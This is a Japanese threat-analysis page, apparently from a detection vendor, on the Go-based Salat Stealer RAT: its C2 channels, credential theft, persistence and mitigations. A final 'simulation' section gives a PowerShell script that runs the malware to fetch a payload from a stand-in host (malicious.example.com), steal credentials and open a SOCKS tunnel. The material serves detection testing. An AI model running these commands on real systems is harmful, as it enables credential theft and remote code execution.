Salat スティーラー分析: Go ベースの RAT、C2 レジリエンスと情報窃取能力
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Salat Stealerは、フル機能のポストエクスプロイトフレームワークとして機能するGoベースのリモートアクセス型トロイの木馬です。WebSocket、HTTP/2、HTTP/3、QUICなどの複数の通信チャネルをサポートしており、オペレーターに柔軟で耐障害性のあるコマンドアンドコントロールオプションを提供します。このマルウェアはブラウザデータ、暗号通貨ウォレット、キーストローク、スクリーンショット、さらにSOCKS5を通じたネットワークピボットを狙った広範なクレデンシャル窃取機能も含んでいます。再起動後も生存するために、隠しファイルのコピー、スケジュールされたタスク、Runレジストリキーを使用します。主要なインフラが遮断された場合、TONブロックチェーンを通じて更新されたコマンドアンドコントロールの詳細を取得することができます。
調査
この分析では、被害者のホスト名と組み合わせた静的文字列から暗号化キーを導出し、5つの埋め込まれたコマンドアンドコントロールURLを復号する方法について説明しています。研究者はまた、Salat Stealerがどのようにトランスポートプロトコルを選択し、オペレーターのコマンドを処理し、権限昇格を試み、ホスト上で複数の永続化メソッドを展開するかを記録しました。この報告書はさらに、盗まれたデータの範囲と攻撃者が利用可能な広範なリモートアクセス機能についても概説しています。
軽減策
防御者は、特定されたコマンドアンドコントロールURLへの接続や、未知の宛先への不意なQUICおよびWebSocketトラフィックを監視するべきです。セキュリティチームは、隠しスケジュールタスクや見覚えのない実行ファイルを指す怪しいRunキーエントリにも注意を払うべきです。アプリケーションの許可リスト化と厳格な実行制御は、Goベースのペイロードの実行を防ぐのに役立ちます。ネットワークのセグメンテーションとTLSの検査は、マルウェアに関連する疑わしいアウトバウンドトラフィックへの可視性をさらに向上させます。
対応
Salat Stealerの活動が検出された場合は、直ちに影響を受けたシステムを隔離し、メモリやディスクイメージを収集し、悪意のあるプロセスを終了させます。スケジュールされたタスク、Runキーエントリ、マルウェアが使用する隠しファイルのコピーを含むすべての永続化アーティファクトを削除します。特定されたコマンドアンドコントロールドメインはブロックされるべきで、バックアップインフラストラクチャの発見に使用されたTONブロックチェーンの検索も同様です。露出したクレデンシャルと暗号通貨ウォレットも直ちに変更または保護されるべきです。
"graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc %% マルウェア定義 malware_salatr["<b>マルウェア</b> – <b>名前</b>: Salat Stealer (Go RAT)<br/><b>説明</b>: リモートアクセス型トロイの木馬、盗難、永続性、水平移動に使用される。"] class malware_salatr malware %% 初期実行プロセス process_start["<b>プロセス</b> – <b>名前</b>: SalatStealer.exe<br/><b>アクション</b>: 開始、自己パスの取得、既存インスタンスのチェック、UACを回避する可能性あり。<br/><b>テクニック</b>: T1548.002 ユーザーアカウント制御のバイパス<br/><b>テクニック</b>: T1027.008 難読化/保存されたファイル"] class process_start process malware_salatr –>|実行| process_start %% 永続化メカニズム persistence_task["<b>アクション</b> – <b>T1053.005 スケジュールされたタスク</b>: 偽の名前で隠されたスケジュールされたタスクを作成。 (explorer.exe)。"] class persistence_task action persistence_reg["<b>アクション</b> – <b>T1547.001 レジストリのRunキー/スタートアップフォルダー</b>: HKCURunエントリ、偽装された名前 (svchost.exe) を使用。"] class persistence_reg action process_start –>|作成| persistence_task process_start –>|作成| persistence_reg %% 防御回避 defense_evasion["<b>アクション</b> – <b>T1027 難読化されたファイル</b>: 六段階の文字列難読化と機械由来のキー導出。"] class defense_evasion action process_start –>|適用| defense_evasion %% システム探索 discovery["<b>アクション</b> – <b>T1082 システム情報の探索</b>: OS、CPU、GPU、RAM、アクティブウィンドウタイトル、管理者ステータスを収集し、エージェント識別子を生成。"] class discovery action process_start –>|実行| discovery %% クレデンシャルアクセス credential_access["<b>アクション</b> – <b>T1555.003 ウェブブラウザからのクレデンシャル</b>: Chromium、Firefox、Discord、SteamブラウザおよびDPAPIで暗号化されたパスワードをダンプ。<br/><b>追加テクニック</b>: T1056.001 キーロギング, T1115 クラート板データ。"] class credential_access action process_start –>|実行| credential_access %% データの収集 collection["<b>アクション</b> – <b>T1113 スクリーンショット</b>, <b>T1125 ビデオキャプチャ</b>, <b>T1560.001 ユーティリティによるアーカイブ</b>: スクリーンおよびウェブカメラ映像をキャプチャし、データをZIPファイルにアーカイブ。"] class collection action credential_access –>|収集| collection %% コマンドアンドコントロール c2["<b>アクション</b> – <b>T1071.005 WebSocket</b> および <b>T1071.001 Webプロトコル</b>: 暗号化されたURLでQUIC/WebSocketを介して通信; 代替エンドポイントとTONブロックチェーンにフォールバック。<br/><b>テクニック</b>: T1008 フォールバックチャネル"] class c2 action collection –>|介して輸出| c2 %% 輸出 exfiltration["<b>アクション</b> – <b>T1041 C2チャンネルへの輸出</b>, <b>T1048 代替プロトコルへの輸出</b>, <b>T1020 自動輸出</b>: アーカイブされたデータと盗まれたクレデンシャルを送信。"] class exfiltration action c2 –>|データ送信| exfiltration %% リモートコマンドの実行 command_exec["<b>アクション</b> – <b>T1059.003 Windowsコマンドシェル</b>: 攻撃者からのコマンドライン命令を受信し実行。<br/><b>テクニック</b>: T1090.001 トンネリング用SOCKS5プロキシ。"] class command_exec action exfiltration –>|コマンド受信| command_exec %% プロキシを介した水平移動 lateral["<b>アクション</b> – <b>T1090.001 プロキシ (SOCKS5)</b>: 内部のSOCKS5 トンネルを確立してピボットおよび水平移動を行う。"] class lateral action command_exec –>|確立| lateral "
攻撃フロー
検出
疑わしいコマンドアンドコントロールによる異常なトップレベルドメイン(TLD)DNSリクエスト(via dns)
表示
可能性のある永続化ポイント [ASEPs – ソフトウェア/NTUSERハイブ](via registry_event)
表示
非定型パスからのシステムプロセス実行(via process_creation)
表示
Salat Stealerの検出用IOC(HashSha256): RAT C2耐障害性および情報窃取機能の解析
表示
Salat Stealerの検出用IOC(HashSha1): RAT C2耐障害性および情報窃取機能の解析
表示
Salat Stealerの検出用IOC(HashMd5): RAT C2耐障害性および情報窃取機能の解析
表示
Salat Stealer RAT活動の検出 [Windows Sysmon]
表示
Salat StealerのC2通信パターンの検出 [Windowsネットワーク接続]
表示
Salat Stealerの実行およびモード検出 [Windowsプロセス作成]
表示
シミュレーション実行
前提条件:テレメトリとベースラインプリフライトチェックが通過している必要があります。
理由:このセクションは、検出ルールをトリガーするために設計された敵の手法(TTP)の正確な実行を詳細に説明します。コマンドおよび説明文は、特定されたTTPと直接一致し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。
-
攻撃の概要とコマンド:
攻撃者は、フィッシングの添付ファイルを通じて被害者のホストにSalat RATバイナリ(salat.exe)を配信しました。低い特権の足場を確保した後、攻撃者は特定の引数でバイナリを実行して、以下を行います:- 二次ペイロードをダウンロード –
main.downloadFile https://malicious.example.com/payload.exe. - 保存された資格情報を盗む –
main.Steal -module credentials. - 水平移動のためのピアツーピア SOCKS トンネルを確立 –
main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.
バイナリは権限昇格要件を満たすために昇格されたPowerShellセッションから起動されます。各起動は、Sigmaルールと一致する対応するコマンドラインのSysmonプロセス作成として表示されます。
- 二次ペイロードをダウンロード –
-
回帰テストスクリプト:
# ------------------------------------------------- # Salat RAT シミュレーションスクリプト – 検出をトリガー # ------------------------------------------------- $binaryPath = "C:Tempsalat.exe" # バイナリが存在することを確認(プレースホルダー – 実際のテストではバイナリが事前に配置されている) if (-Not (Test-Path $binaryPath)) { Write-Error "Salat バイナリが $binaryPath に見つかりません" exit 1 } # 1. 二次ペイロードのダウンロード Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait # 2. クレデンシャルを盗む Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait # 3. P2P SOCKS トンネルを開く Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait Write-Host "シミュレーション完了。" -
クリーンアップコマンド:
# ------------------------------------------------- # Salat RAT シミュレーションのクリーンアップ # ------------------------------------------------- # 残っている Salat プロセスを終了 Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force # バイナリを削除(許可される場合) $binaryPath = "C:Tempsalat.exe" if (Test-Path $binaryPath) { Remove-Item $binaryPath -Force Write-Host "Removed $binaryPath" } # 関連するSysmonイベントをテストインデックスからオプションでクリア(Splunk例) # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'